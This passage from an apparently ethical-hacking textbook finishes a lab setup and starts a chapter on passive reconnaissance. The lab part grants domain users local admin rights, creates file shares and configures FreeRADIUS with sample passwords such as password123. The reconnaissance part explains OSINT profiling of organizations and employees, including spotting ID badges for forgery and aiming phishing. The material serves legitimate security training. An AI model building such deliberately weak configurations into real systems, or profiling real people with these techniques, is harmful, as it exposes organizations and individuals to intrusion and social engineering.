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Part 9 – Setting up for account takeover and file sharing attacks
To ensure we can exploit file-sharing services and perform account takeover attacks on Windows 
clients that are connected to the domain, please use the following instructions:

1. Log in to Bob-PC and Alice-PC using a domain administrator account, such as username 
redteamlab\Administrator and password P@ssword1, as shown below:

Figure 3.31: Log in as domain Administrator

2. Open the Command Prompt with administrative privileges and use the following commands 
to make the domain user accounts, gambit and rogue, local administrators on Bob-PC and 
Alice-PC:

C:\Users\Administrator> net localgroup "Administrators" redteamlab\gambit 
/ADD
C:\Users\Administrator> net localgroup "Administrators" redteamlab\rogue 
/ADD

The following screenshot shows the execution of the preceding commands:

Figure 3.32: Adding users to local admin group

3. Next, using the same Command Prompt window, use the following commands to create a local 
shared folder on each Windows 10 machine, Bob-PC and Alice-PC:

C:\Users\Administrator> cd\
C:\> mkdir SharedData
C:\> net share DataShare=c:\SharedData
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The following screenshot shows the execution of the preceding commands:

Figure 3.33: Creating a shared folder

4. Lastly, power down your Windows 10 and Windows Server 2019 virtual machines until they 
are needed later on.

Having completed this section, you have built a Microsoft Windows lab environment containing the 
most common type of services and configurations found in many organizations. This environment 
will enable you to perform advanced exploitation techniques on Active Directory in later sections of 
this book that focus on red team exercises. In the next section, you will learn how to set up a wireless 
penetration testing lab to practice wireless exploitation.

Setting up a wireless penetration testing lab
Understanding how to perform wireless penetration testing helps organizations to determine how 
a real threat actor is able to discover and exploit security vulnerabilities in their company’s wireless 
network infrastructure. Let’s first have a quick overview of wireless networks and the associated se-
curity standards and access methods.

Brief overview of wireless network security
Within many organizations, you will commonly find wireless networks that are implemented to sup-
port wireless mobility for their employees. Employees can connect their smartphones, Internet of 
Things (IoT) devices, tablets, and laptops to the corporate Wi-Fi network and access the resources on 
the wired network, such as printers and servers. In small and large organizations, the wireless router 
or access point is usually configured using one of the following wireless security standards:

• Wired Equivalent Privacy (WEP)
• Wi-Fi Protected Access (WPA)
• Wi-Fi Protected Access 2 (WPA2)
• Wi-Fi Protected Access 3 (WPA3)

Most modern wireless networks are usually configured with WPA2 and WPA3 standards. The preced-
ing list of security standards is also designed for small networks and the regular consumer as they 
are simple to configure using a single shared password, known as a Pre-Shared Key (PSK). Therefore, 
anyone who wants to access the wireless network will need the same PSK.
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In large environments, it is necessary to improve the security and centralized management of users on 
the corporate wireless network. Security professionals typically implement an Authentication, Autho-
rization, and Accounting (AAA) server such as Remote Authentication Dial-In User Service (RADIUS) 
on the network, which handles the centralized management of network users, accounts, and policies.

The following is a brief explanation of AAA:

• Authentication: Verifies the identity of users by requiring valid credentials before granting 
access to the network.

• Authorization: Determines user privileges or access levels after authentication, ensuring users 
only access resources appropriate to their roles.

• Accounting: Keeps track of user activities on the network, providing valuable information for 
auditing, billing, or reporting purposes.

The following are the access methods for wireless networks:

• Pre-Shared Key (PSK) – This methods enables you to configure a password or passphrase on 
the wireless router or access point. Anyone with the PSK can access the network.

• Enterprise – This method leverages a centralized access server running RADIUS to handle 
AAA. Each user on the wireless network will require a unique user account to be created on the 
access server, with policies assigned to the account, and logs are generated for accountability.

• Wi-Fi Protected Setup (WPS) – This access method removes the need for using passwords 
and passphrases on the wireless network. It provides an easy method to authenticate to the 
wireless network using an 8-digit PIN. However, there are known security vulnerabilities and 
attacks on retrieving the WPS PIN.

Next, you will learn how to set up a wireless penetration testing lab environment that supports security 
testing for both personal and enterprise wireless networks.

Setting up a RADIUS server
In this section, we will be leveraging the power of virtualization to set up a RADIUS server, such as 
FreeRadius, on our network to handle the AAA processes of the wireless router for testing WPA2-En-
terprise. We will demonstrate how to set up RADIUS on top of an Ubuntu server as a virtual machine 
on your computer and associate it with a wireless router or access point.

You will need a wireless router or access point that supports WPA2-Personal for security testing on 
newer security standards, and WPA2-Enterprise for security testing of enterprise wireless networks. 
In addition, having a wireless router that supports WPA3 will be beneficial for learning how to com-
promise WPA3-targeted networks.
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The following diagram shows the wireless penetration testing lab environment:

Figure 3.34: Wireless network topology

As shown in the preceding diagram, the RADIUS server (access server) and wireless router/access 
point are connected to an organization’s internal network. Therefore, if an attacker is able to com-
promise the wireless network, the adversary will gain unauthorized access to the corporate network 
and perform lateral movement.

To get started with this exercise, please follow the instructions in the subsequent sections.

Part 1 – Install a Ubuntu server
To get started with setting up an Ubuntu server for hosting our RADIUS service, please use the fol-
lowing instructions:

1. Firstly, you’ll need to download and set up Ubuntu Server as a virtual machine. On your host 
machine, go to https://ubuntu.com/download/server to download the Ubuntu Server 22.04 
LTS ISO image.

2. Next, open Oracle VM VirtualBox Manager and click on New to create a new virtual machine.
3. In the Create Virtual Machine window, ensure you use the following configurations:

• Name: Radius Server
• ISO Image: Use the drop-down menu, select Other, then select the Ubuntu Server 

ISO file
• Type: Linux
• Version: Ubuntu (64-bit)
• Skip Unattended Installation: Check the box

https://ubuntu.com/download/server
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The following screenshot shows the preceding configurations:

Figure 3.35: Creating a new virtual machine

4. After clicking on Finish to save the new virtual machine, select the Radius Server virtual ma-
chine and click on Settings.

5. On the Settings windows, select the Network category and use the following configurations 
for Adapter 1:

• Enable the Network Adapter
• Attached to: Bridged Adapter
• Name: Use the drop-down menu to select your physical network adapter on your host 

machine that’s connected to your physical network

6. Next, power on the Radius Server virtual machine to start the installation process of Ubuntu 
Server.

7. In the installation window, select the Try or Install Ubuntu Server option to start the instal-
lation process.

8. Next, select your preferred language and hit Enter.
9. Next, select your preferred keyboard configuration and select Done.
10. For Choose type of install, select Ubuntu Server and select Done.
11. Next, in the Network connection menu, an IP address will automatically be assigned to this 

Ubuntu Server from your network. Ensure you make a note of the address and select Done.
12. In the Configure proxy menu, leave it as the default and select Done.
13. In the Configure Ubuntu archive mirror menu, leave it as the default and select Done.
14. In the Guided storage configuration menu, leave it as the default and select Done.
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15. In the Storage configuration menu, leave it as the default and select Done.
16. When the Confirm destructive action window appears, select Continue.
17. In the Profile setup menu, create a user account for yourself and select Done.
18. In the Upgrade to Ubuntu Pro menu, leave it as the default and select Continue.
19. In the SSH Setup menu, use the spacebar on your keyboard to select the Install OpenSSH 

server option, then select Done.
20. Next, the Featured Server Snaps menu will appear. Leave it as the default and select Done.

The installation process will take some time to complete as it will attempt to automatically 
download and install updates. After this process is complete, select Reboot Now.

Part 2 – Setting up FreeRadius
In this section, you will learn how to set up FreeRadius on the Ubuntu server and create user accounts 
for users on the wireless network.

Please use the following instructions to get started with this exercise:

1. Ensure the Radius Server virtual machine is running in Oracle VM VirtualBox Manager.
2. Next, on your Windows host machine, open the Windows Command Prompt application and 

use the following commands to remotely connect to the virtual machine:

C:\Users\Glen> ssh <yourname>@<server-ip-address>

The following screenshot shows the expected output when executing the preceding commands:

Figure 3.36: Remote access using SSH

3. Next, use the following commands to update the local package repository list and install Fre-
eRadius:

After the reboot, if there’s an error in automatically ejecting the ISO file from the 
CD-ROM drive, simply hit Enter on the console screen to continue.

Keep in mind that passwords are invisible when you’re entering them on a terminal 
interface for security reasons.
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glen@radius:~$ sudo apt update
glen@radius:~$ sudo apt install freeradius

After executing the preceding commands, you’ll be prompted to enter Y/n. Simply enter Y to 
continue. The following screenshot shows the execution of the preceding commands:

Figure 3.37: Installing FreeRadius

4. Next, use the following commands to verify the sub-directories of FreeRadius:

glen@radius:~$ sudo ls -l /etc/freeradius/3.0/

The following screenshot shows the list of files and directories within the 3.0 folder:

Figure 3.38: Listing files
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5. Next, let’s use the Nano command-line text editor to modify the users file and create a user 
account:

glen@radius:~$ sudo nano /etc/freeradius/3.0/users

Using the directional keys on your keyboard, find the following line:

#bob    Cleartext-Password := "hello"

Then uncomment the line by removing the # symbol and change the password from hello to 
password123, as shown below:

Figure 3.39: Creating user account

6. Next, save the file by pressing CTRL + X, then Y and Enter.
7. Next, let’s create a client account for the wireless router. Use the following commands to edit 

the clients.conf file:

glen@radius:~$ sudo nano /etc/freeradius/3.0/clients.conf

8. Using the directional keys, go to the Defines a RADIUS client section and insert the following 
code, which defines the RADIUS client (wireless router):

client 172.16.17.123 {
        secret = radiusclientpassword1
        shortname = corporate-ap
}

The users file contains the user credentials, while the clients.conf file contains 
the AAA client accounts, such as the wireless router within our lab topology.
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The following screenshot shows the preceding code within the clients.conf file:

Figure 3.40: Creating client account

The client IP address (172.16.17.123) is the IP address of the wireless router. Please ensure 
you check the IP address of your wireless router and substitute the one in the preceding code. 
If the client IP address is not the same as your wireless router, the user (Bob) will not be able 
to authenticate to the RADIUS server.

Press CTRL + X, then Y and Enter to save the file.

9. Next, use the following commands to restart the FreeRadius service and verify its status:

glen@radius:~$ sudo systemctl restart freeradius
glen@radius:~$ sudo systemctl status freeradius

The following screenshot shows the freeradius service is active and running:

Figure 3.41: Restarting the FreeRadius service



Setting up for Advanced Penetration Testing Techniques114

10. Additionally, use the sudo lsof -i -P -n | grep freerad command to verify ports 1812 and 
1813 are open for the FreeRadius services, as shown below:

Figure 3.42: Checking open ports

Part 3 – Setting the wireless router with RADIUS
This section will show you how to configure a wireless router to operate a RADIUS server on the net-
work. For this section, you will need a physical wireless router that supports the WPA2-Personal and 
WPA-Enterprise security modes.

The following diagram shows the IP addresses of the RADIUS server and wireless router. Keep in mind 
the IP addresses may be different on your personal network:

Figure 3.43: Wireless network topology

To get started configuring the wireless router with RADIUS, please use the following guidelines:

1. Power on the wireless router and log in to the management dashboard.
2. Next, go to the Wireless tab and change the Network Name (SSID) to Target_Net, as shown 

below:
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Figure 3.44: Wireless router configurations

3. Next, in the Wireless Security menu, use the following configuration to enable the wireless 
router to query the RADIUS server on the network:

• Security Mode: WPA2-Enterprise
• Encryption: AES
• RADIUS Server: Enter the IP address of the RADIUS server virtual machine
• RADIUS Port: 1812
• Shared Secret: radiusclientpassword1

The following screenshot shows the preceding configurations when applied to the wireless 
router:

Figure 3.45: Wireless router security configuration 
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Keep in mind that you need to ensure the IP address on your wireless router matches the IP address 
within the clients.conf file on the RADIUS server and that the IP address of the RADIUS server 
matches the IP address on the wireless security configuration on the wireless router.

Having completed this section, you have learned how to set up a wireless penetration testing lab 
environment to perform advanced penetration testing techniques.

Summary
In this chapter, you have gained the hands-on skills to build a Windows environment that simulates 
a typical enterprise organization with domain users, various service accounts, administrators, and 
shared network resources. Additionally, you have learned how to create a wireless network lab that 
contains a RADIUS server to provide AAA services, which help replicate an enterprise wireless network 
within a large organization. These lab environments will be utilized later in this book when you learn 
about advanced penetration testing techniques such as red team exercises.

I trust that the knowledge presented in this chapter has provided you with valuable insights, supporting 
your path toward becoming an ethical hacker and penetration tester in the dynamic field of cyber-
security. May this newfound understanding empower you in your journey, allowing you to navigate 
the industry with confidence and make a significant impact. In the next chapter, Chapter 3, Setting Up 
for Advanced Penetration Testing Techniques, you will learn how to perform Open Source Intelligence 
(OSINT) to passively collect sensitive information on a target.

Further reading
• Active Directory Domain Services: https://learn.microsoft.com/en-us/windows-server/

identity/ad-ds/deploy/install-active-directory-domain-services--level-100-

• Wireless security standards: https://www.techtarget.com/searchnetworking/feature/
Wireless-encryption-basics-Understanding-WEP-WPA-and-WPA2

• Understanding FreeRadius: https://www.techtarget.com/searchsecurity/definition/
RADIUS

Join our community on Discord
Join our community’s Discord space for discussions with the author and other readers:

https://packt.link/SecNet

https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/deploy/install-active-directory-domain-services--level-100-
https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/deploy/install-active-directory-domain-services--level-100-
https://www.techtarget.com/searchnetworking/feature/Wireless-encryption-basics-Understanding-WEP-WPA-and-WPA2
https://www.techtarget.com/searchnetworking/feature/Wireless-encryption-basics-Understanding-WEP-WPA-and-WPA2
https://www.techtarget.com/searchsecurity/definition/RADIUS
https://www.techtarget.com/searchsecurity/definition/RADIUS
https://packt.link/SecNet


4
Passive Reconnaissance

As an aspiring ethical hacker and penetration tester, it’s important to develop your skills and gain a 
solid understanding of how adversaries are able to efficiently discover and collect sensitive information 
about a targeted organization, and analyze the collected data to create meaningful information that 
can be leveraged in planning a future cyber-attack on the target. As with many aspiring ethical hack-
ers, we are always excited to get started with hacking into systems and networks as it’s the fun part of 
learning offensive security tactics and techniques. However, it’s important to develop the mindset of 
an adversary to better understand why and how a real threat actor will plan their attack on a targeted 
system, network, or organization.

Adversaries use various reconnaissance techniques and procedures to find and collect data about 
their targets to better understand whether the targeted systems are online, whether any security 
vulnerabilities exist on them, and which attack vectors and infrastructure are available for delivering 
malicious payloads to the target. The more information that’s known about the target, the better the 
plan of attack of the adversary.

In this chapter, you will learn how passive reconnaissance techniques are used by threat actors and 
ethical hackers to discover, collect, and analyze sensitive data that’s leaked by the targeted organiza-
tion, and how such data can lead to a future cyber-attack. With passive information gathering, ethical 
hackers and penetration testers are able to indirectly collect information about the target, without 
making a direct connection, to reduce their detection levels. In addition, you will learn how to conceal 
your identity as an ethical hacker and penetration tester and anonymize your internet-based traffic 
to improve your stealth and reduce your threat level using Kali Linux with ProxyChains and routing 
your traffic over The Onion Router network.

In this chapter, we will cover the following topics:

• Importance of reconnaissance
• Exploring passive reconnaissance
• Creating a sock puppet
• Anonymizing internet-based traffic

Let’s dive in!
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Technical requirements
To follow along with the exercises in this chapter, please ensure that you have met the following 
software requirement:

• Kali Linux – https://www.kali.org/get-kali/

The importance of reconnaissance
Reconnaissance focuses on collecting as much data as possible on a target and then analyzing the col-
lected data to create meaningful information that can be leveraged by an adversary or threat actor to 
identify the attack surface and security vulnerabilities on a targeted system, network, or organization. 
Adversaries use various reconnaissance techniques and tools to collect system information, network-
ing information, and organizational information about their targets. Without first understanding your 
target and their weaknesses, it’ll be challenging to develop cyber-attack methods, including exploits 
that will be effective in compromising the confidentiality, integrity, and/or availability of the targeted 
system, network, or organization. This section provides a general introduction to reconnaissance 
before we dive deep into the specifics of passive reconnaissance.

Let’s take a look at the different types of information that may be exploited:

• System information provides valuable insights to ethical hackers as it lets us know what’s 
running on the targeted system, such as its host operating system and version. The operating 
system and version information helps ethical hackers research known security vulnerabilities 
and develop/acquire exploits that have the potential to compromise the target. For instance, 
many organizations around the world do not always run the latest version of operating systems 
within their network infrastructure. While operating system vendors are continuously work-
ing on a newer version and releasing security updates to customers, not everyone installs the 
latest security patches/updates or even upgrades to the latest version for many reasons. This 
situation creates many possibilities for adversaries such as malicious users who leverage their 
skills and knowledge to exploit security vulnerabilities for harmful purposes, unlike ethical 
hackers and penetration testers whose intent is to help organizations strengthen their cyber 
defenses. Imagine you’re performing an internal network penetration test on a targeted orga-
nization and have discovered their servers are running an older version of Microsoft Windows 
Server, and after some research, you’ve discovered all the servers contain the EternalBlue and 
PrintNightmare critical security vulnerabilities. If a real adversary were to discover these vul-
nerabilities, you can imagine the potential impact and damage that could be done.

System information includes the following details:

• Identifying live hosts on a network
• Hostnames of devices
• Operating system type and version
• Running services and versions
• Open service ports
• Unauthenticated network shares

https://www.kali.org/get-kali/
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• Usernames and passwords

• Network information helps ethical hackers and penetration testers identify whether the tar-
geted organization is using any insecure protocols, running vulnerable services, or has any 
unintentionally exposed service ports on critical systems. For instance, insecure network 
protocols do not encrypt any data before or after transmission; therefore, an ethical hacker can 
intercept network traffic with the intent to capture any sensitive data such as user credentials 
and password hashes, which can be leveraged to gain unauthorized access to critical systems 
on the network.

Network information includes the following details:

• Domain Name System (DNS) records
• Domain names
• Sub-domain names
• Firewall rules and policies
• IP addresses and network blocks
• Network protocols and services

• Organizational information helps ethical hackers identify the employees of a targeted orga-
nization and contact information such as telephone numbers and email addresses, which 
can be used for various social engineering attacks, such as phishing. In addition, identifying 
high-profile employees of an organization helps the ethical hacker focus their phishing emails 
on targeted persons with high-privileged user accounts.

Organizational information includes the following details:

• Employees’ details and contact information
• Geo-location of the organization and its remote offices
• Employees’ roles and profiles

The first stage of Lockheed Martin’s Cyber Kill Chain® is reconnaissance, which describes how the 
threat actor uses this phase of attack to plan their operations, such as performing extensive research 
on their targets to gain a better understanding of their security vulnerabilities and determine how 
the threat actor can meet their objectives/goals of the cyber-attack. In addition, the MITRE ATT&CK 
framework lists reconnaissance as the first stage on the Enterprise Matrix and describes it as the 
techniques used by an attacker to either passively or actively collect information about a target, col-
lecting organizational, network, and system information and employees’ data that can be leveraged 
in a future cyber-attack.

Therefore, cybersecurity professionals such as ethical hackers and penetration testers use the same 
reconnaissance techniques to efficiently collect and analyze data as a real attacker to compromise their 
targets, hence providing the ethical hacker and penetration tester with insights and Cyber Martin’s 
Cyber Kill Chain® Threat Intelligence (CTI) on how the targeted organization is leaking sensitive data 
about itself, and how it could be leveraged by a real attacker when planning a future attack.
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Reconnaissance is usually broken down into the following categories:

• Passive – Passive reconnaissance techniques are used to ensure the ethical hacker does not 
establish direct interaction with the target. This technique involves collecting and analyzing 
publicly available information from multiple data sources on the internet about the target. 
Passive information gathering helps the ethical hacker improve stealth and reduce the likeli-
hood of alerting or triggering any security sensors that notify the target.

• Active – Active reconnaissance techniques establish a direct connection or interaction with 
the target to collect sensitive information that’s not available through passive reconnaissance 
techniques. This technique involves sending specially crafted probes over a network to the 
target to collect technical details such as operating systems and running services.

According to the MITRE ATT&CK framework, the following are common reconnaissance techniques 
used by adversaries:

• Active reconnaissance – This technique focuses on sending probes to the targeted systems 
and networks to collect sensitive information such as identifying the target’s network block 
information and discovering security vulnerabilities in applications and operating systems.

• Gather victim host information – This technique helps the threat actor collect information 
about the target’s hardware, software running on devices, firmware on devices, and system 
configurations.

• Gather victim identity information – This technique is used by threat actors to collect users’ 
credentials, email addresses, employees’ names, and contact information from public data 
sources and leaked data.

• Gather victim network information – Threat actors use this technique to collect network-related 
information about their target’s network infrastructure such as domain registrar information, 
public DNS records, network topology details, IP addresses, and network block details.

• Gather victim organization information – Malicious actors use this technique to collect infor-
mation about the target’s geo-location, the service providers of the target, and days and times 
of business operations, and to identify key personnel of the organization.

• Phishing for information – This technique is commonly used by malicious actors by sending 
phishing email messages to the targeted organization with the intention to trick victims into 
performing an action or revealing sensitive information that can be further leveraged in a 
cyber-attack.

• Search closed sources – Searching closed data sources involves looking through subscrip-
tion-based services that provide information about threat intelligence and data leaks that 
contain sensitive information about breached data from organizations.

• Search open technical databases – These open technical databases contain publicly available 
information about people, organizations, and domain names. Such information can be lever-
aged by a threat actor when planning a cyber-attack on a target.

• Search open websites/domains – This technique involves searching social media platforms, 
internet search engines, and code repository websites for any publicly available information 
that can be used to identify security flaws and plan a cyber-attack on the target. 
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• Search victim-owned websites – Target-owned websites may contain useful information such 
as the contact details of employees, telephone numbers, and email addresses, and identify 
high-profile employees and their roles. Such information can be leveraged for spear-phishing 
attack campaigns.

Reconnaissance includes a process known as footprinting, which involves obtaining specific informa-
tion about the targeted organization from an attacker’s perspective. It provides more specific details 
about the target, so we can consider footprinting to be a subset of the reconnaissance phase. The in-
formation that’s collected can be used in various ways to gain access to the targeted system, network, 
or organization. Footprinting allows an ethical hacker or penetration tester to do the following:

• Better understand the security posture of the targeted infrastructure
• Quickly identify security vulnerabilities in the targeted systems and networks
• Create a network map of the organization
• Reduce the area of focus to the specific IP addresses, domain names, and types of devices 

regarding which information is required

The following diagram shows the link between information gathering, reconnaissance, and foot-
printing:

Figure 4.1: Information gathering, reconnaissance, and foot printing linkage

As an aspiring ethical hacker and penetration tester, using the same Tactics, Techniques, and Pro-
cedures (TTPs) for reconnaissance, including OSINT gathering, social engineering, and network 
scanning, enables you to better understand how a real attacker is able to identify the attack surface 
of a targeted organization by collecting and analyzing publicly available data to identify security vul-
nerabilities and leveraging the collected data to improve your plan of attack as a penetration tester 
on the targeted system and network.

The information collected during the reconnaissance phases helps the threat actor, ethical 
hacker, and penetration tester to move on to the exploitation phases to gain access to a 
targeted system or network.
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By using the same reconnaissance TTPs as real adversaries, you will be able to better simulate a 
real-world cyber-attack on your target and gain the insights needed to provide recommendations on 
improving cyber defenses, reducing the attack surface, and improving the security posture of the or-
ganization. Having understood the importance of reconnaissance for ethical hacking and penetration 
testing, let’s dive into the future and explore the concepts of passive reconnaissance.

Exploring passive reconnaissance
Passive reconnaissance focuses on collecting information without directly connecting or interacting 
with the target. This method reduces the threat level of the ethical hacker and penetration tester, 
thereby reducing the likelihood of triggering any alerts that notify the target that someone is collecting 
information about them, their systems, and network infrastructure.

Each day, more data is being uploaded and created on the internet by people around the world. Wheth-
er someone is uploading a picture of themselves, a fun marketing video, or even information about 
new products and services for new and existing customers, the internet stores lots of data that can be 
harvested and carefully analyzed by cyber criminals to better understand their targets and improve 
their cyber operations. As previously mentioned, ethical hackers and penetration testers use the same 
TTPs as real threat actors as a method to efficiently discover how organizations are leaking data about 
themselves and how malicious actors are able to leverage the collected data to identify and compro-
mise security vulnerabilities within their targets.

For instance, internet search engines are designed to index (crawl) and analyze each webpage found 
on the internet to improve their search results and provide users with more accurate information, 
helping a user to easily find the hostname of a web server or the Uniform Resource Locator (URL) of 
a resource on the internet. Adversaries and ethical hackers also use various internet search engines 
to discover unintentionally exposed systems, insecure web portals, and resources that are owned by 
the targeted organization.

The following are common internet search engines used by ethical hackers:

• Google – https://www.google.com/
• Yahoo! – https://www.yahoo.com/
• Bing – https://www.bing.com/
• DuckDuckGo – https://duckduckgo.com/
• Yandex – https://yandex.com/

As an aspiring ethical hacker, it’s recommended to use at least two different internet search engines 
when performing research on your target. For instance, one internet search engine may provide 
better results that are aligned with your target, while another internet search engine may provide 
less sensitive results. 

The Yandex internet search engine is Russian and provides better search results for re-
sources within the Asia and Europe regions. DuckDuckGo is a privacy-focused internet 
search engine that does not store the user’s searches or tracking details.

https://www.google.com/
https://www.yahoo.com/
https://www.bing.com/
https://duckduckgo.com/
https://yandex.com/


Chapter 4 123

However, it’s important to collect all the information during the reconnaissance phase and then analyze 
the collected data to determine what is useful and helps you build a profile of your target. 

To get a better understanding of how adversaries, ethical hackers, and penetration testers use passive 
reconnaissance to identify sensitive information and security vulnerabilities of targets, let’s take a 
deep dive into exploring open source intelligence.

Open source intelligence
Open Source Intelligence (OSINT) is commonly referred to as the collection and analysis of publicly 
available information from multiple data sources to better understand the attack surface, such as 
the security vulnerabilities of a targeted organization. In addition, OSINT helps ethical hackers and 
penetration testers identify how their targets are leaking sensitive data, which can be leveraged by 
threat actors to improve their cyber-attacks and threats. It’s important to remember that while OSINT 
is publicly available information, there are legal and ethical considerations such as respecting privacy 
laws and guidelines for the responsible disclosure of security vulnerabilities.

As more organizations are creating an online presence on the internet, from spinning up virtual 
servers to hosting their web applications on cloud computing service providers’ infrastructure, many 
companies are using social media platforms to create awareness and share information with new and 
existing customers. While social media platforms enable people around the world to share updates, 
pictures, and videos with each other using a digital medium, sometimes people leak sensitive infor-
mation about themselves or their organizations without realizing the potential risk if the information 
were to be leveraged by a cyber-criminal.

For instance, an employee shares a digital photograph of themselves while at their workstation; however, 
the background of the image shows some confidential documents on their desk, their employee ID 
badge, and some applications on their computer’s monitor. If a threat actor is targeting the company, 
the attacker will use passive reconnaissance to identify the social media presence of the targeted or-
ganization such as their LinkedIn, Facebook, Instagram, and X (formerly, Twitter) pages. Sometimes, 
organizations will post on social media about new job vacancies with the technical requirements for 
a potential candidate. Threat actors can leverage the technical details found within a job post to de-
termine the technologies and applications that are running within the organization’s network.

Furthermore, the threat actor can identify the social media accounts of past and present employees 
to determine if anyone has uploaded a picture with sensitive details. Social media platforms provide 
a lot of privacy features to their users; however, not everyone takes the extra time to ensure their 
online profiles are private and visible only to online trusted contacts. If a threat actor is able to find 
an employee’s social media accounts with insecure privacy settings and their pictures are all publicly 
available, the threat actor can simply look for pictures that contain the employee’s ID badge, which 
can be used to create a fake badge to gain unauthorized physical access to the compound, and even 
determine what applications are running on the employee’s computer. Identifying the applications on 
the targeted systems helps the threat actor research security vulnerabilities for the operating system 
and applications on the computers.
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While there’s a lot of sensitive information that can be found on social media platforms, there are 
additional OSINT data sources, such as the following:

• Online forums – There are many online forums and discussion boards such as Stack Over-
flow (https://stackoverflow.com/) that are commonly used by the tech community to help 
and share ideas with each other. However, technical employees may create a profile on a 
discussion forum and include their job title and company name. A threat actor can search 
for users’ profiles that are associated with the targeted organization, then the attacker can 
view all the posts and discussions by the employees to identify any sensitive information that 
may be leaked. For instance, the employees may create a discussion post requesting help for 
a specific application on their network and reveal the application version, error logs, and the 
host operating system for a server. The threat actor can leverage this information to research 
known security vulnerabilities for the application and operating system.

• Search engines – Internet search engines crawl each webpage and identify web servers on 
the internet. Threat actors can leverage the search algorithm and use customized search pa-
rameters on various internet search engines to find specific resources and sensitive URLs of 
targeted organizations. For instance, both threat actors and cybersecurity professionals can 
use Google Dorking techniques to perform advanced Google searches.

• Public databases – There are many public databases on the internet that contain information 
about companies and their location, and people and their contact details. Threat actors can 
collect and analyze the information found on public databases to plan social engineering attacks 
on the employees of a targeted organization to gain a foothold in their network infrastructure.

• Internet Archive – The Internet Archive (https://archive.org/) is an online, digital library 
that takes a snapshot of everything on the internet and archives it for the next 20 years. There-
fore, anything that’s posted on the internet is archived and is retrievable by anyone, including 
threat actors and ethical hackers. The Internet Archive helps threat actors identify legacy web 
applications and plugins on the targeted web server for any security vulnerabilities. 

• WHOIS databases – There are many WHOIS databases on the internet that store registration 
details of public domain names. This type of database contains the domain registration and 
expiration date, the contact details and address of the person who registered the domain, and 
public DNS records. If a domain owner does not pay an additional fee to safeguard their Per-
sonally Identifiable Information (PII), a threat actor can use the owner’s personal information 
to plan future cyber operations such as social engineering attacks.

• Public records – Around the world, there are many state-owned and government agencies that 
often store public records about their country’s property, citizens, business registration, and 
so on. For instance, many of these agencies acquire an online presence on the internet, and 
threat actors can easily access public records to identify the geo-location of targeted companies.

• Code repositories – Many developers use GitHub and other online code repositories to simulta-
neously work on new and existing applications for their organization. However, if a user does 
not apply proper privacy controls on their user account, a threat actor can easily view their 
online code projects to determine the applications that are running within the targeted orga-
nization and whether any security vulnerabilities exist within the code that can be exploited 
to gain a foothold on the network.

https://stackoverflow.com/
https://archive.org/
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• Geospatial data – This data source includes publicly available mapping and imagery systems, 
which enables anyone on the internet to find physical places and identify the surroundings 
of an area. For instance, a threat actor can use Google Maps to determine the geo-location of 
a targeted organization, and its Street View feature to identify whether there are any nearby 
parking lots and physical access to the compound.

• Organizational data – Organizations usually publish information about themselves on various 
internet platforms, such as blogs, social media platforms, and recruitment websites, which 
can offer a gold mine of insight into an organization. As the internet is so readily available and 
accessible, it’s quite easy for someone such as a threat actor or a penetration tester to gather 
information on a targeted organization simply by using search engines to determine their 
underlying infrastructure.

Since adversaries leverage OSINT to improve their cyber-attacks and future operations, ethical hackers 
and penetration testers use the same TTPs to ensure they can efficiently discover how their targets 
are leaking sensitive data and how threat actors can leverage it to compromise their target’s systems 
and networks. In addition, ethical hackers will gain the insights and CTI needed to provide recom-
mendations on how to help organizations reduce their data leakages and prevent future cyber-attacks 
and threats.

The following diagram shows a visual mind map for collecting OSINT from various widely used online 
data sources:

Figure 4.2: OSINT sources

CTI feeds into vulnerability assessments or threat modeling to preemptively address 
potential cyber threats or is used to tip and cue cyber defenders on adversary activity.
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As shown in the preceding diagram, there are many data sources that are commonly used by both 
adversaries and ethical hackers for different goals. Threat actors’ goals are usually focused on com-
promising the confidentiality, integrity, and/or availability of their targeted systems with malicious 
intentions, while ethical hackers and penetration testers use the same techniques and skills with a 
good moral compass to help organizations identify hidden security vulnerabilities and implement 
countermeasures to prevent a real cyber-attack.

How much data should be collected?
The more data that is collected, the more it should help you better understand the target, but how 
much data is enough? Before getting started with OSINT, ethical hackers and penetration testers need 
to understand the following:

• What are the deliverables of the penetration test?
• Is the organization interested in determining whether its data is being intentionally and un-

intentionally leaked online?
• How will an attacker identify and exploit the security vulnerabilities on their systems?
• What would the impact be if an adversary were to leverage OSINT about the organization to 

plan a cyber-attack?

The following is a general thought process for determining how much data should be collected and 
leveraging it to exploit a target:

• Identifying the scope
• Data collection and retrieval 
• Data analysis
• Enhancing the target’s profile with additional data
• Weaponization (developing an exploit to compromise a vulnerability)
• Delivery (using attack vectors to deliver the exploit to the target)
• Exploitation (actually compromising the target)

Each of the preceding points will be further explained in the following paragraphs.

Once the ethical hacker determines the scope of the security assessment, they will proceed to data 
collection and the retrieval of OSINT on the targeted organization. This means the ethical hacker will 
use reconnaissance TTPs to collect multiple data types such as text, media, and geospatial data from 
multiple data sources on the internet to create a profile about the target. During this phase, it’s im-
portant for both ethical hackers and penetration testers to identify relevant information that adds 
context to the target and when sufficient information is collected. If insufficient data is collected, the 
ethical hacker will not have enough details to determine the type of security vulnerabilities on target-
ed systems, attack vectors for delivering malicious payloads, the geo-location of the target, running 
services and applications on systems, and so on.

Keep in mind that it’s important to validate the accuracy of the information collected from 
OSINT. Sometimes, an online data source may not provide the most up-to-date information 
about a target and this can lead to planning a cyber-attack or developing an exploit based 
on outdated information.
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After the data collection phase, the ethical hacker needs to carefully analyze the collected data to 
better understand how it applies to the targeted organization. During this phase, the ethical hacker 
may discover something that’s interesting and decide to go deeper by collecting more data for analysis. 
However, it’s important to monitor the amount of time spent during each phase of your penetration 
test, as you do not want to spend most of your time on reconnaissance while forgetting about ex-
ploitation and post-exploitation phases. Therefore, be mindful when going down a rabbit hole when 
researching your target.

The following is general advice for time management:

• Set a time limit for each phase in penetration testing.
• Use project management tools to help you track the progress of each phase.
• Implement a phased approach to break down each phase of penetration testing into smaller, 

manageable steps to help with prioritization to improve time management.
• Incorporate using automated tools to reduce the time spent collecting data from OSINT data 

sources.
• Prioritize tasks during each phase of penetration testing based on their impact, importance, 

and urgency.

The Your OSINT Graphical Analyzer (YOGA) mindmap helps ethical hackers and penetration testers 
to better visualize how one data point can easily lead to another and displays the type of information 
that can be collected from each data point, as shown below:

Figure 4.3: Your OSINT Graphical Analyzer (YOGA)
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As shown in the preceding screenshot, if an ethical hacker uses the targeted domain name as a start-
ing point, YOGA provides a map showing the next data points and sources for information gathering. 
For instance, when you select a node on the YOGA map, it will automatically highlight all associated 
connections to and from it using the color magenta.

